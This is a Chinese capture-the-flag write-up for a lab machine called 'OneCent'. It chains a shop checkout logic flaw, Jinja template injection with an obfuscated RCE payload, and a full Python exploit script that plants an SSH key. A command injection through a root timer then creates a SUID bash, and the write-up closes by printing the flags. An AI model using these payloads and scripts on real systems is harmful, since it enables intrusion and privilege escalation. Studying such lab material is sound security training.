

OneCent-人工队

端口扫描：

```
nmap -p 1-65535 -T4 -A -v 192.168.56.107
```

SHELL

```
PORT      STATE SERVICE VERSION
```

```
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
```

```
| ssh-hostkey:
```

```
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
```

```
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d
```

```
(ECDSA)
```

```
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb
```

```
(ED25519)
```

```
80/tcp    open  http      Unicorn
```

```
|_ http-server-header: gunicorn
```

```
| http-methods:
```

```
|_ Supported Methods: HEAD GET OPTIONS
```

```
|_ http-title: OneCent
```

访问首页，发现是商城购物，盲猜是购物业务逻辑漏洞



注册账号后登录，新注册的账号只给了1\$

商品只有两个，其中一个价格比较高，猜测要买黑金商家年卡，应该是买 **新客体验包** 的时候通过越权改成买 **黑金商家年卡**



其中购买部分的js如下：

```

async function issueQuote(productId) {
  const formData = new URLSearchParams();
  formData.append("product_id", productId);

  const response = await fetch("/api/quote", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: formData.toString()
  });

  if (!response.ok) {
    alert("订单编号生成失败。");
    return;
  }

  const data = await response.json();
  const target =
document.getElementById(`quote-${productId}`);
  const display = document.getElementById(`quote-
display-${productId}`);
  target.value = data.quote_id;
  display.textContent = data.quote_id;
}

```

生成订单编号

Request							Response						
Pretty	Raw	Hex	MarkInfo	明动	🔍	📄	Pretty	Raw	Hex	Render	明动	🔍	📄
1	POST /api/quote	HTTP/1.1					1	HTTP/1.1 200 OK					
2	Host: 192.168.56.107						2	Date: Sat, 04 Apr 2026 07:02:27 GMT					
3	Content-Length: 12						3	Server: gunicorn					
4	Accept-Language: zh-CN,zh;q=0.9						4	Content-Type: application/json					
5	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36						5	Content-Length: 102					
6	Content-Type: application/x-www-form-urlencoded						6	Vary: Cookie					
7	Accept: */*						7	Keep-Alive: timeout=5, max=100					
8	Origin: http://192.168.56.107						8	Connection: Keep-Alive					
9	Referer: http://192.168.56.107/shop						9						
10	Accept-Encoding: gzip, deflate, br						10	{					
11	Cookie: onecent_session=eyJ1c2VyX2lkIjo2MH0.adC2hQ.Bcz5y0pJn8XTmUttiK7H3Dsxs							"product_id":1,					
12	Connection: keep-alive							"product_name": "\u65b0\u5ba2\u4f53\u9a8c\u5305",					
13								"quote_id":102,					
14	product_id=1							"quoted_price": "1.00"					
							11	}					

Request						Response					
Pretty	Raw	Hex	MarkInfo	明动		Pretty	Raw	Hex	Render	明动	
1	POST /api/quote HTTP/1.1					1	HTTP/1.1 200 OK				
2	Host: 192.168.56.107					2	Date: Sat, 04 Apr 2026 07:02:46 GMT				
3	Content-Length: 12					3	Server: gunicorn				
4	Accept-Language: zh-CN,zh;q=0.9					4	Content-Type: application/json				
5	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36					5	Content-Length: 121				
6	Content-Type: application/x-www-form-urlencoded					6	Vary: Cookie				
7	Accept: */*					7	Keep-Alive: timeout=5, max=100				
8	Origin: http://192.168.56.107					8	Connection: Keep-Alive				
9	Referer: http://192.168.56.107/shop					9					
10	Accept-Encoding: gzip, deflate, br					10	{				
11	Cookie: onecent_session=eyJlc2VyX2lkIjo2MH0.adC2hQ.BczT5y0pJn8XTmUttiK7H3DsxDs						"product_id":2,				
12	Connection: keep-alive						"product_name":				
13							"\u9ed1\u91d1\u5546\u55bb\u5e74\u5361",				
14	product_id=2						"quote_id":104,				
							"quoted_price":"999999999999.00"				
						11	}				

发现只是发送的 **product_id** 的值不一样，尝试购买

Request

Pretty

Raw

Hex

MarkInfo

明动

ln

1

POST /checkout HTTP/1.1

2

Host: 192.168.56.107

3

Content-Length: 25

4

Cache-Control: max-age=0

5

Accept-Language: zh-CN,zh;q=0.9

6

Origin: http://192.168.56.107

7

Content-Type: application/x-www-form-urlencoded

8

Upgrade-Insecure-Requests: 1

9

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36

10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

11

Referer: http://192.168.56.107/shop

12

Accept-Encoding: gzip, deflate, br

13

Cookie: onecent_session=eyJ1c2VyX2lkIjo2MH0.adC2hQ.BczT5y0pJn8XTmUttiK7H3DsxDs

14

Connection: keep-alive

15

16

product_id=1"e_id=103

Response

Pretty

Raw

Hex

Render

MarkInfo

ln

1

HTTP/1.1 302 FOUND

2

Date: Sat, 04 Apr 2026 07:06:03 GMT

3

Server: gunicorn

4

Content-Type: text/html; charset=utf-8

5

Content-Length: 217

6

Location: http://192.168.56.107/shop

7

Vary: Cookie

8

Set-Cookie: onecent_session=.eJwljF0KwyAQBq8i-xzK-hvNVWoIGl1aWijU-BRy9670ZfZjW0aEjd6pPWqD5X6COPjA5wUTx06sothNLZ63khi7VYGNRLS8CzGdxidkDVHEPp0v7KXRvGsZzGFmY41jml3GTiTTK0dRy4kLhix_huR3Nhrtvw_rtU7QW_1uzwKLw-sHETUzQw.adC4Ww.9MG2hg87nUjmYUcf49SB8b_YbUI; HttpOnly; Path=/

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

12

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

13

<title>Redirecting...

14

</title><h1>Redirecting...

15

<p>You should be redirected automatically to target URL: /shop. If not click the link.

发现购买时指定好 **product_id** 和 **quote_id** 即可，所以猜测这里应该是越权点，现在没钱了，重新注册一个账号，尝试用低价的 **quote** 购买高价的 **订单**

FEATURED PICKS

今日商品

先点击“生成订单编号”，系统会为当前商品生成一笔待支付订单。随后你可以直接提交购买请求完成结算。

\$1.00

当前模式
订单编号购买

商品数量
2 件

热卖商品

starter_box

新客体验包

适合首次下单体验，含基础会员权益与标准购买流程。

发货方式：自动开通
购买类型：普通商品
当前状态：待生成订单编号

\$1.00

当前订单编号： 未生成

生成订单编号

立即购买

热卖商品

admin_vip

黑金商家年卡

面向品牌商家的全年高级席位。开通后可进入商家中心并使用专属工具。

发货方式：自动开通
购买类型：会员权益
当前状态：待生成订单编号

\$99999999999999.00

当前订单编号： 未生成

生成订单编号

立即购买

购买说明

- 每次购买都需要先生成新的订单编号，历史编号不会自动复用。
- 体验余额仅用于演示下单流程，不能充值，也不会自动增加。
- 部分会员商品购买成功后，会自动开放专属功能入口。

小提示
页面会自动把新生成的订单编号填入当前商品的购买表单中。

最近生成的订单

编号	商品	金额	状态	创建时间
109	新客体验包	\$1.00	待支付	2026-04-04 07:17:20
108	黑金商家年卡	\$9999999999999.00	待支付	2026-04-04 07:17:19

然后可以看到已经按照1\$购买了**黑金商家年卡**，进入商家中心

MERCHANT CENTER

商家中心

这里可以预览站内消息模板，也可以查看导出任务的执行状态。部分模板变量会在服务端渲染后直接展示结果。

当前席位
黑金商家年卡

模板服务
已启用

导出任务
自动执行

消息模板预览

您好，您的订单已经生成，请及时查看。

渲染预览

可用变量示例： `{{ user.username }}`，`{{ invoice.id }}`，`{{ company.name }}`

渲染结果

暂时还没有生成预览内容。

订单导出任务

系统会定时处理排队中的导出任务，并将归档文件写入受保护的备份目录。

ID	任务名	输出文件名	源路径	状态
44	tlglm2-vip-ledger	monthly-tlglm2	/opt/onecent/exports/tlglm2	排队中

发现页面有预览内容，猜测考察ssti

当前席位
黑金商家年卡

导出任务
自动执行

 $\{\{7*7\}\}$

可用变量示例: `{{ user.username }}`, `{{ invoice.id }}`, `{{ company.name }}`

49

用 **fenjing** 跑一下：

[illegible]

拿到payload:

```
{{lipsum|attr('_'+'_'+g+'l'+o+'b'+a+'l'+s+'_'+'_')|attr('_'+'_'+g+'e'+t'+i'+t'+e'+m'+'_'+'_')
('_'+'_'+b+'u'+i+'l'+t'+i'+n'+s+'_'+'_')|attr('_'+'_'+g+'e'+t'+i'+t'+e'+m'+'_'+'_')
('_'+'_'+i+'m'+p+'o'+r'+t'+'_'+'_')
('o'+s')|attr('p'+o+'p'+e'+n')
('i'+d')|attr('r'+e'+a'+d')}}}
```

让ai搓一个执行命令的脚本

```

import requests, random, string, re, sys
from bs4 import BeautifulSoup

BASE = 'http://192.168.56.107'

def get_admin_session():
    u = 'u' + ''.join(random.choice(string.ascii_lowercase)
    for _ in range(6))
    p = 'pass123'
    s = requests.Session()
    s.post(BASE + '/register', data={'username': u,
    'password': p}, timeout=5)
    s.post(BASE + '/login', data={'username': u, 'password':
    p}, timeout=5)
    q1 = s.post(BASE + '/api/quote', data={'product_id': 1},
    timeout=5).json()['quote_id']
    s.post(BASE + '/api/quote', data={'product_id': 2},
    timeout=5)
    s.post(BASE + '/checkout', data={'product_id': 2,
    'quote_id': q1}, timeout=5)
    r = s.get(BASE + '/vip/admin', allow_redirects=False,
    timeout=5)
    if r.status_code != 200:
        raise SystemExit(f'failed admin access:
    {r.status_code}')
    return s

def lit(s: str) -> str:
    return '+'.join(repr(ch) for ch in s)

def payload_for(cmd: str) -> str:
    return "
    {{QwQlattnr('_'+ '_'+ 'e'+ 'q'+ '_'+ '_')lattr('_'+ '_'+ 'g'+ 'l'+ 'o'+ '
    b'+ 'a'+ 'l'+ 's'+ '_'+ '_')lattr('_'+ '_'+ 'g'+ 'e'+ 't'+ 'i'+ 't'+ 'e'+ '
    m'+ '_'+ '_')
    ('s' 'ys')lattr('m' 'odules')lattr('_'+ '_'+ 'g'+ 'e'+ 't'+ 'i'+ 't'+ '
    e'+ 'm'+ '_'+ '_')('o' 's')lattr('p' 'open')( %s)lattr('r' 'ead')
    ()}}" % lit(cmd)

```

```

def render(s, payload):
    r = s.post(BASE + '/vip/admin', data={'template':
payload}, timeout=10)
    soup = BeautifulSoup(r.text, 'html.parser')
    text = soup.get_text('\n', strip=True)
    m = re.search(r'渲染结果\s*(.+?)\s*订单导出任务', text, re.S)
    return m.group(1).strip() if m else text

if __name__ == '__main__':
    cmd = ' '.join(sys.argv[1:])
    if not cmd:
        raise SystemExit('usage: python3 onecent_rce_cmd.py
<cmd>')
    s = get_admin_session()
    out = render(s, payload_for(cmd))
    print(out)

```

SHELL

```

python3 onecent_rce_cmd.py "mkdir -p /home/Aristore/.ssh;
chmod 700 /home/Aristore/.ssh; echo 'ssh-ed25519 AAAAxxxxxxxxx'
>/home/Aristore/.ssh/authorized_keys; chmod 600
/home/Aristore/.ssh/authorized_keys; head -n 1
/home/Aristore/.ssh/authorized_keys"

```

然后拿到稳定的shell

```
base /tmp (2.167s)
ssh Aristore@192.168.56.107

The authenticity of host '192.168.56.107 (192.168.56.107)' can't be established.
ED25519 key fingerprint is SHA256:02iH79i8Pg0wV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:122: 192.168.56.102
  ~/.ssh/known_hosts:124: [192.168.56.103]:2222
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.107' (ED25519) to the list of known hosts.

Aristore@onecent:~ (0.11s)

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

channel 24: open failed: connect failed: open failed
channel 25: open failed: connect failed: open failed
channel 27: open failed: connect failed: open failed

Aristore@onecent ~
```

suid没有密码，跑一下linpeas

发现存在timer配置

```
System timers (T1053.003)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers
Active timers: (T1053.003)


| NEXT                        | LEFT          | LAST                        | PASSED               | UNIT                         | ACTIVATES                    |
|-----------------------------|---------------|-----------------------------|----------------------|------------------------------|------------------------------|
| Sat 2026-04-04 03:53:20 EDT | 21s left      | Sat 2026-04-04 03:52:20 EDT | 38s ago              | vip-reconcile.timer          | vip-reconcile.service        |
| Sat 2026-04-04 04:09:00 EDT | 16min left    | Sat 2026-04-04 03:39:14 EDT | 13min ago            | phpsessionclean.timer        | phpsessionclean.service      |
| Sat 2026-04-04 06:12:27 EDT | 2h 19min left | Sat 2026-04-04 02:26:38 EDT | 1h 26min ago         | apt-daily-upgrade.timer      | apt-daily-upgrade.service    |
| Sat 2026-04-04 10:00:51 EDT | 6h left       | Tue 2025-04-01 10:06:28 EDT | 1 years 0 months ago | apt-daily.timer              | apt-daily.service            |
| Sun 2026-04-05 00:00:00 EDT | 20h left      | Sat 2026-04-04 02:02:26 EDT | 1h 50min ago         | logrotate.timer              | logrotate.service            |
| Sun 2026-04-05 02:17:27 EDT | 22h left      | Sat 2026-04-04 02:17:27 EDT | 1h 35min ago         | systemd-tmpfiles-clean.timer | systemd-tmpfiles-clean.servi |


Disabled timers: (T1053.003)
Additional timer files: (T1053.003)
Potential privilege escalation in timer file: /etc/systemd/system/timers.target.wants/vip-reconcile.timer
└─ RELATIVE_PATH: Uses relative path in Unit directive
Potential privilege escalation in timer file: /etc/systemd/system/vip-reconcile.timer
└─ RELATIVE_PATH: Uses relative path in Unit directive
```

SHELL

```
cat /etc/systemd/system/vip-reconcile.timer
[Unit]
Description=Run OneCent VIP reconciliation every minute

[Timer]
OnBootSec=2min
OnUnitActiveSec=1min
Unit=vip-reconcile.service
Persistent=true

[Install]
WantedBy=timers.target
```

SHELL

```
cat /etc/systemd/system/timers.target.wants/vip-
reconcile.timer
[Unit]
Description=Run OneCent VIP reconciliation every minute

[Timer]
OnBootSec=2min
OnUnitActiveSec=1min
Unit=vip-reconcile.service
Persistent=true

[Install]
WantedBy=timers.target
```

继续看对应的 service:

SHELL

```
cat /etc/systemd/system/vip-reconcile.service
[Unit]
Description=OneCent VIP reconciliation job
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/reconcile_jobs.py
```

看脚本内容:


```
cat /usr/local/bin/reconcile_jobs.py
#!/usr/bin/env python3
import os
import sqlite3
import subprocess

DB_PATH = "/opt/onecent/data/onecent.db"
BACKUP_ROOT = "/var/backups/onecent"

def main():
    os.makedirs(BACKUP_ROOT, exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row

    rows = conn.execute(
        """
        SELECT id, job_name, source_path, output_name
        FROM export_jobs
        WHERE status = 'queued'
        ORDER BY id ASC
        """
    ).fetchall()

    for row in rows:
        command = f"/usr/bin/tar -cf
{BACKUP_ROOT}/{row['output_name']}.tar {row['source_path']}"
        subprocess.run(command, shell=True, check=False)
        conn.execute(
            "UPDATE export_jobs SET status = 'done',
updated_at = CURRENT_TIMESTAMP WHERE id = ?",
            (row["id"],),
        )

    conn.commit()
    conn.close()
```

可以看到 **output_name** 和 **source_path** 从数据库里取出来以后，直接拼接进了命令字符串，并且 **subprocess.run(command, shell=True, check=False)**，所以存在命令注入

前面买下 **黑金商家年卡** 以后，系统会自动给当前用户创建一条 **export_jobs** 记录，因此我们作为 **Aristore** 可以直接修改数据库中的 **output_name** 字段，等待 root 的 timer 执行即可。

先看一下当前任务：

SHELL

```
sqlite3 /opt/onecent/data/onecent.db "select
id,user_id,job_name,output_name,status from export_jobs order
by id desc limit 5;"
```

```
sqlite3 /opt/onecent/data/onecent.db "select id,user_id,job_name,output_name,status from export_jobs order by id desc limit 5;"
58|76|uxvtrsd-vip-ledger|monthly-uxvtrsd|done
57|75|unzjgxp-vip-ledger|monthly-unzjgxp|done
56|74|uhgahmy-vip-ledger|monthly-uhgahmy|done
55|73|udgwggg-vip-ledger|monthly-udgwggg|done
54|72|usiekjt-vip-ledger|monthly-usiekjt|done
```

把最新那条任务改成恶意 payload：

SHELL

```
sqlite3 /opt/onecent/data/onecent.db "update export_jobs set
output_name='x;cp /bin/bash /tmp/rootbash;chmod 4755
/tmp/rootbash;#', status='queued' where id=(select max(id)
from export_jobs);"
```

这样 timer 下一次执行时，实际会变成类似这样：

SHELL

```
/usr/bin/tar -cf /var/backups/onecent/x;cp /bin/bash
/tmp/rootbash;chmod 4755 /tmp/rootbash;#.tar
/opt/onecent/exports/<username>
```

后半段会被 shell 当成独立命令执行，于是 root 会帮我们拷贝一个带 SUID 位的 bash 到 **/tmp/rootbash**。

等一分钟后检查：

SHELL

```
ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1168776 Apr  4 02:24 /tmp/rootbash
```

然后直接提权：

```
/tmp/rootbash -p
rootbash-5.0# id
uid=1000(Aristore) gid=1000(Aristore) euid=0(root) groups=1000(Aristore)
rootbash-5.0# whoami
root
rootbash-5.0#
```

读取 flag:

```
cat /home/Aristore/user.txt
7f6dc8d2f6790e5f74a7b4346a58f911
```

SHELL

```
cat /root/root.txt
1f8ee4c1f6a6f8386556b0d5c57a4f8c
```

SHELL